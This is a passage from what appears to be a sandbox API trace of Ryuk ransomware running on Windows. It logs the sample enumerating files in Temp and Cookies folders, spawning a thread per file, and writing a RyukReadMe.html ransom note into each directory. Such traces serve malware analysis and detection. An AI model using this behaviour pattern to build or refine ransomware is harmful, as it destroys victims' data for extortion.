	[0211.414] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0211.414] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1
	[0211.414] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46aea490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0211.414] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a7337b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a7337b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
	[0211.414] SetLastError (dwErrCode=0x0) 
	[0211.414] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0211.415] GetLastError () returned 0xb7
	[0211.415] CloseHandle (hObject=0x5c4) returned 1
	[0211.415] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a7337b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a7337b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0211.415] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1a7337b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a7337b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0211.415] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbdb9a6e0, ftCreationTime.dwHighDateTime=0x1d5bbf5, ftLastAccessTime.dwLowDateTime=0x7c0a6140, ftLastAccessTime.dwHighDateTime=0x1d5c0e0, ftLastWriteTime.dwLowDateTime=0x7c0a6140, ftLastWriteTime.dwHighDateTime=0x1d5c0e0, nFileSizeHigh=0x0, nFileSizeLow=0x10751, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="-G8QAFqH7VYxt6.mkv", cAlternateFileName="-G8QAF~1.MKV")) returned 1
	[0211.415] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0211.416] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x638
	[0211.419] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.420] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc38ef660, ftCreationTime.dwHighDateTime=0x1d5b7a9, ftLastAccessTime.dwLowDateTime=0x7e855f0, ftLastAccessTime.dwHighDateTime=0x1d5b7b8, ftLastWriteTime.dwLowDateTime=0x7e855f0, ftLastWriteTime.dwHighDateTime=0x1d5b7b8, nFileSizeHigh=0x0, nFileSizeLow=0x182ad, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="026xWvE01Y4.m4a", cAlternateFileName="026XWV~1.M4A")) returned 1
	[0211.420] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0211.421] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x614
	[0211.423] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.423] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa4dec250, ftCreationTime.dwHighDateTime=0x1d5baa5, ftLastAccessTime.dwLowDateTime=0x22df5aa0, ftLastAccessTime.dwHighDateTime=0x1d5baf3, ftLastWriteTime.dwLowDateTime=0x22df5aa0, ftLastWriteTime.dwHighDateTime=0x1d5baf3, nFileSizeHigh=0x0, nFileSizeLow=0x17edc, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="1CRIC9Y1YG7tpqYhKZpE.flv", cAlternateFileName="1CRIC9~1.FLV")) returned 1
	[0211.423] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0211.424] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x630
	[0211.426] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.427] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f217220, ftCreationTime.dwHighDateTime=0x1d5ba38, ftLastAccessTime.dwLowDateTime=0x6ddad7f0, ftLastAccessTime.dwHighDateTime=0x1d5bdfa, ftLastWriteTime.dwLowDateTime=0x6ddad7f0, ftLastWriteTime.dwHighDateTime=0x1d5bdfa, nFileSizeHigh=0x0, nFileSizeLow=0xbc8b, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="3BjGRofHkmE_xK.avi", cAlternateFileName="3BJGRO~1.AVI")) returned 1
	[0211.427] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0211.428] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620
	[0211.430] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.430] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd9deae0, ftCreationTime.dwHighDateTime=0x1d5c0be, ftLastAccessTime.dwLowDateTime=0xf173c010, ftLastAccessTime.dwHighDateTime=0x1d5baa6, ftLastWriteTime.dwLowDateTime=0xf173c010, ftLastWriteTime.dwHighDateTime=0x1d5baa6, nFileSizeHigh=0x0, nFileSizeLow=0x10a10, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="3Er-.jpg", cAlternateFileName="")) returned 1
	[0211.430] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0211.431] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x61c
	[0211.433] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.434] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66eed9b0, ftCreationTime.dwHighDateTime=0x1d5b700, ftLastAccessTime.dwLowDateTime=0xb9c06200, ftLastAccessTime.dwHighDateTime=0x1d5c531, ftLastWriteTime.dwLowDateTime=0xb9c06200, ftLastWriteTime.dwHighDateTime=0x1d5c531, nFileSizeHigh=0x0, nFileSizeLow=0x1b63, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="4A3TcmNtg9qqVR5x.mp3", cAlternateFileName="4A3TCM~1.MP3")) returned 1
	[0211.434] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0211.434] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624
	[0211.436] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.437] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b91d00, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x54b91d00, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x54c76540, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x2fc, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="AdobeARM.log", cAlternateFileName="")) returned 1
	[0211.437] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0211.438] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x62c
	[0211.439] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.439] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaa777f30, ftCreationTime.dwHighDateTime=0x1d5bb55, ftLastAccessTime.dwLowDateTime=0xe4b2ce30, ftLastAccessTime.dwHighDateTime=0x1d5bf50, ftLastWriteTime.dwLowDateTime=0xe4b2ce30, ftLastWriteTime.dwHighDateTime=0x1d5bf50, nFileSizeHigh=0x0, nFileSizeLow=0x18a43, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="B9VEQXx.flv", cAlternateFileName="")) returned 1
	[0211.440] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0211.440] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x628
	[0211.443] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.443] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb5f3e4e0, ftCreationTime.dwHighDateTime=0x1d5bc16, ftLastAccessTime.dwLowDateTime=0xe35d9fa0, ftLastAccessTime.dwHighDateTime=0x1d5c44c, ftLastWriteTime.dwLowDateTime=0xe35d9fa0, ftLastWriteTime.dwHighDateTime=0x1d5c44c, nFileSizeHigh=0x0, nFileSizeLow=0xde8e, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="BDM2QhO.jpg", cAlternateFileName="")) returned 1
	[0211.443] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0211.444] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x60c
	[0211.821] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0211.822] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1
	[0211.822] SetLastError (dwErrCode=0x0) 
	[0211.822] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x608
	[0211.822] GetLastError () returned 0xb7
	[0211.822] CloseHandle (hObject=0x608) returned 1
	[0211.823] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0212.052] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0212.052] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0212.052] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0212.053] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644
	[0212.056] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.057] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0
	[0212.057] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0212.057] SetLastError (dwErrCode=0x0) 
	[0212.057] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cookies\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x608
	[0212.058] GetLastError () returned 0x0
	[0212.058] WriteFile (in: hFile=0x608, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0212.061] CloseHandle (hObject=0x608) returned 1
	[0212.062] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3720540, ftCreationTime.dwHighDateTime=0x1d5c43c, ftLastAccessTime.dwLowDateTime=0xd14eafa0, ftLastAccessTime.dwHighDateTime=0x1d5b85a, ftLastWriteTime.dwLowDateTime=0xd14eafa0, ftLastWriteTime.dwHighDateTime=0x1d5b85a, nFileSizeHigh=0x0, nFileSizeLow=0xead, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="D0W  zImaBM4n.mp4", cAlternateFileName="D0WZIM~1.MP4")) returned 1
	[0212.062] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0212.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x608
	[0212.065] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.065] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfbe929a0, ftCreationTime.dwHighDateTime=0x1d5b7d0, ftLastAccessTime.dwLowDateTime=0x2026e2c0, ftLastAccessTime.dwHighDateTime=0x1d5b971, ftLastWriteTime.dwLowDateTime=0x2026e2c0, ftLastWriteTime.dwHighDateTime=0x1d5b971, nFileSizeHigh=0x0, nFileSizeLow=0x3cfe, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="dL0Fi75.mp4", cAlternateFileName="")) returned 1
	[0212.065] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0212.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x640
	[0212.068] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.069] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53204b20, ftCreationTime.dwHighDateTime=0x1d5b64d, ftLastAccessTime.dwLowDateTime=0xe4904320, ftLastAccessTime.dwHighDateTime=0x1d5bcc0, ftLastWriteTime.dwLowDateTime=0xe4904320, ftLastWriteTime.dwHighDateTime=0x1d5bcc0, nFileSizeHigh=0x0, nFileSizeLow=0x1628e, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Ejt2Fb952ZvwQ.pps", cAlternateFileName="EJT2FB~1.PPS")) returned 1
	[0212.069] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0212.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x634
	[0212.072] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.073] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xae35b000, ftCreationTime.dwHighDateTime=0x1d5c1f5, ftLastAccessTime.dwLowDateTime=0x58f61e20, ftLastAccessTime.dwHighDateTime=0x1d5c5fd, ftLastWriteTime.dwLowDateTime=0x58f61e20, ftLastWriteTime.dwHighDateTime=0x1d5c5fd, nFileSizeHigh=0x0, nFileSizeLow=0x150a1, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="etQIDu5e2VcL.wav", cAlternateFileName="ETQIDU~1.WAV")) returned 1
	[0212.073] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0212.074] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648
	[0212.076] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.076] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf843bd30, ftCreationTime.dwHighDateTime=0x1d5c124, ftLastAccessTime.dwLowDateTime=0x70eaf730, ftLastAccessTime.dwHighDateTime=0x1d5bff4, ftLastWriteTime.dwLowDateTime=0x70eaf730, ftLastWriteTime.dwHighDateTime=0x1d5bff4, nFileSizeHigh=0x0, nFileSizeLow=0x712d, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="F8_7cJIxa0Q9_.mp3", cAlternateFileName="F8_7CJ~1.MP3")) returned 1
	[0212.076] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0212.077] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c
	[0212.079] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.079] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x794e8a70, ftCreationTime.dwHighDateTime=0x1d5bf10, ftLastAccessTime.dwLowDateTime=0x95ae70e0, ftLastAccessTime.dwHighDateTime=0x1d5c2ee, ftLastWriteTime.dwLowDateTime=0x95ae70e0, ftLastWriteTime.dwHighDateTime=0x1d5c2ee, nFileSizeHigh=0x0, nFileSizeLow=0x15f04, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="FD_LfsLgv.swf", cAlternateFileName="FD_LFS~1.SWF")) returned 1
	[0212.079] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0212.080] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x65c
	[0212.439] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.441] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd33c420, ftCreationTime.dwHighDateTime=0x1d5be84, ftLastAccessTime.dwLowDateTime=0x1e866db0, ftLastAccessTime.dwHighDateTime=0x1d5c4ec, ftLastWriteTime.dwLowDateTime=0x1e866db0, ftLastWriteTime.dwHighDateTime=0x1d5c4ec, nFileSizeHigh=0x0, nFileSizeLow=0xfa24, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="fJGiIRlEOvBHcXPfy.pdf", cAlternateFileName="FJGIIR~1.PDF")) returned 1
	[0212.441] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0212.442] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x664
	[0212.443] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.444] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33d9ad10, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x33d9ad10, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="FXSAPIDebugLogFile.txt", cAlternateFileName="FXSAPI~1.TXT")) returned 1
	[0212.444] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0212.445] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x668
	[0212.446] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
